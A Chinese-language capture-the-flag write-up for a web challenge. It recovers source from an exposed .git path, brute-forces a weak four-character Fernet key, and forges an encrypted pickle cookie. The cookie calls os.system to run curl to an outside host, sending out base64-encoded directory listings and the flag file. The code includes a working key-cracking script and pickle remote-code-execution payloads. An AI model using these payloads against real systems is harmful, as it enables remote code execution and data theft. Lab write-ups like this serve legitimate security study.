**Web上大号说话**

访问 http://47.94.14.162:10004/.git 然后发现一访问就可以直接下载个 app.py.bak 文件

拿到源码

简单分析可知，cookie在解密后就会pickle反序列化，所以我们应该是要打pickle反序列化的思路 cookie的加密是用Fernet，初始化时候用的32字节的种子密钥，其中后28位是0，而前4位根据注释提示应该 是大小写+数字，可以直接爆破。 爆破脚本如下：

import base64

from cryptography.fernet import Fernet

import string

import sys

class ED:

def \_\_init\_\_(self):

self.file\_key = '1111' # 1Aa

self.cipher\_suite = Fernet(self.generate\_key(self.file\_key))

def change(self,key):

self.cipher\_suite = Fernet(self.generate\_key(key))

def crypto(self, base\_str):

return self.cipher\_suite.encrypt(base\_str)

def decrypto(self, base\_str):

return self.cipher\_suite.decrypt(base\_str)

def generate\_key(key: str):

key\_byte = key.encode()

return base64.urlsafe\_b64encode(key\_byte + b'0' \* 28)

if \_\_name\_\_ == '\_\_main\_\_':

letter = string.digits + string.ascii\_letters

ed = ED()

cookie='gAAAAABkVPQiGv8eGobqBL9qaqd0isJAX5Wc7N8Hk9zFSMCYnpvkaF6mJj 4o3iwa8jeIJbmmYCCWIxmUYofJ wf4JlRBB8SZ\_rKBTHhHuRLnxrW12azIcAgu1ajx6E7vDzSZj6gFRnPIV8RYVClmmcl5Ei 3RLOW8y1h0RCC3awXZt4ZDfiUCI='

success = 0

for i in letter:

for j in letter:

for k in letter:

for l in letter:

ed.change(i+j+k+l)

print('trying: '+i+j+k+l)

if(success == 0):

try:

result = ed.decrypto(cookie.encode('UTF-8'))

print('============bingo============')

print(i+j+k+l)

print('=============================')

print(result)

print('=============================')

success = 1

except:

pass

else:

sys.exit(0)

# 密钥是5MbG

# opcode字符串是\x80\x03c\_\_main\_\_\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x06\x00\x00\x00heouanX\x06\x00\x00\x00randomX\x0f\x00\x00\x00oamjqhgtvrdulsnub.通过上述脚本爆破出密钥，解密出pickle序列化后的opcode字符串（这里它也就是Member类实例化后的对 象的序列化流） 简单调试一下这串opcode

import pickletools

import pickletools

opcode = b"\x80\x03c\_\_main\_\_\nMember\n)\x81}(X\x04\x00\x00\x00nameX\x06\x00\x00\x00heouanX\x06\x00\x00\x00randomX\x0f\x00\x00\x00oamjqhgtvrdulsnub."

pickletools.dis(opcode)

下一步可以修改opcode，伪造称mabaoguo的cookie，去获得 return flag ？但是不知道 mabaoguo.random 和 mabaoguo.gongfu

所以直接打pickle反序列化就可以了

import base64

from cryptography.fernet import Fernet

import string

import sys

import pickletools

class ED:

def \_\_init\_\_(self):

self.file\_key = '5MbG' # 1Aa

self.cipher\_suite = Fernet(self.generate\_key(self.file\_key))

def crypto(self, base\_str):

return self.cipher\_suite.encrypt(base\_str)

def generate\_key(key: str):

key\_byte = key.encode()

return base64.urlsafe\_b64encode(key\_byte + b'0' \* 28)

if \_\_name\_\_ == '\_\_main\_\_':

ed = ED()

payload = b'\x80\x03(cos\nsystem\nX\x25\x00\x00\x00curl45.XXX.XXX.XXX:7777/`dir|base64`o.'

print(ed.crypto(payload).decode())

# pickletools.dis(payload)

# payload = b'\x80\x03(cos\nsystem\nX\x25\x00\x00\x00curl45.XXX.XXX.XXX:7777/`dir|base64`o.' # 读目录

# payload = b'\x80\x03(cos\nsystem\nX\x38\x00\x00\x00curl 45.XXX.XXX.XXX:7777/`catflagucjbgaxqef.txt|base64`o.' # 读flag

# 注意opcode中X操作符后的长度值要随所执行的命令长度变化

经过测试，过滤 ls ，用 dir 代替，读取目录得到flag文件的名称，进而拿到flag。